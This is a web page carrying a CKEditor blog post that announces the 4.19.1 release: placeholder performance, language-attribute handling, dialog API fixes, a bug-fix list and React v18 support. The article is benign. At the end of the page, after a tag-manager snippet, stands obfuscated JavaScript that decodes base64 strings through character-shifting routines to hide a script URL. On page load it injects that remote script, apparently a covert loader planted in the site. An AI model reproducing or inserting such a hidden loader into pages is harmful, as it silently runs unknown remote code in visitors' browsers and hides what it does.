Webinar: Level Up Your Drupal Content Editing with CKEditor Features

Sign up

CKEditor 4.19.1 with important bug fixes

The man with the wrench in the front and ckeditor with some highlighted options (like changing image's alternative text or possibility to place image next to tet i.e.) in the background

We are happy to announce the 4.19.1 maintenance release of CKEditor 4. Editor placeholder performance has been improved, there is better support for language detection and last but not least – dialog API enhancements. With that release, we also upgraded our CKEditor 4 React integration to version 4, which introduces support for React v18.

Editor placeholder performance improvements

The Editor Placeholder is widely used by our customers as it helps users locate the editor in the application and prompts them to input the content. It works similarly to the native DOM placeholder attribute used by inputs.

Editor placeholder inside a fresh document.
Editor placeholder inside a fresh document.

To detect whether someone has deleted all the content from the text area, the plugin has to observe any content changes continuously. This, in turn, may significantly impact typing performance in complex documents. We have introduced an additional mechanism to reduce that performance drop to a minimum. Now the detection is only run after fixed time intervals regardless of how many times the user presses the keyboard button.

Better support for language detection

The language plugin allows the creation of multilingual content by providing the ability to set the text direction as well as mark the language of selected text fragments. Before, the language feature could only detect proper text part language if the HTML element included both the language and dir attributes. Starting with v4.19.1 we fixed that limitation by also accepting HTML that is missing the dir attribute and by adding it if needed.
As an example, the below HTML will no longer be changed to a simple paragraph. The editor will preserve the language and add the missing dir attribute instead.


<p><span lang="fr">Vouloir, c'est pouvoir.</span></p>
<!-- That HTML will be converted to: -->
<p><span lang="fr" dir="ltr">Vouloir, c'est pouvoir.</span></p>

Dialog API enhancements

The editor dialog is one of the most widely used plugins as it is integrated with many important features such as links, images, and tables. It is also often used by integrators to create some fantastic features that make CKEditor 4 unique. The v4.19.1 release provides several important API fixes to dialogs giving the integrators much better control over the feature:

Important bug fixes

  • #5125: Fixed: Deleting a widget with disabled autoParagraph with the backspace key removes editor editable area and crashes it.
  • #4284: Fixed: Tableselection Merging cells with a rowspan throws an unexpected error and does not create an undo step.
  • #5234: Fixed: Easy Image doesn’t allow to upload images files using a toolbar button.
  • #438: Fixed: It is impossible to navigate to the elementspath from the toolbar by keyboard and vice versa.
  • #5144: Fixed: Menu buttons and panel buttons incorrectly indicate the open status of their associated pop-up menus in the browser’s accessibility tree.
  • #5022: Fixed: The Find and Replace feature does not respond to the Enter key.

For the full list of bug fixes in the 4.19.1 release see the changelog.

React v18 support

Alongside CKEditor 4.19.1, we have also upgraded our React integration to version 4, which introduces support for React v18. Please note that this version of React drops support for Internet Explorer 11, so if you don’t want to loose support for that browser, make sure to use React integration in version 3 instead. See browser compatibility table to learn more about supported browser versions.

Release notes

Check out the release notes and contact us for more information.

Download

Download CKEditor now and upgrade your installation or use your favorite package manager to install it!

License

CKEditor is available under Open Source and Commercial licenses. Full details can be found on our license page.

Reporting issues and contributing

Please report any new issues in the CKEditor 4 development repository and follow the instructions in the issue template. You can also contribute code and provide editor patches through pull requests.

Support

Community support is available through Stack Overflow. Visit the resources page for additional options.

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Input email to subscribe to newsletter

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

Form content fields

Form submit

Hidden unused field.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });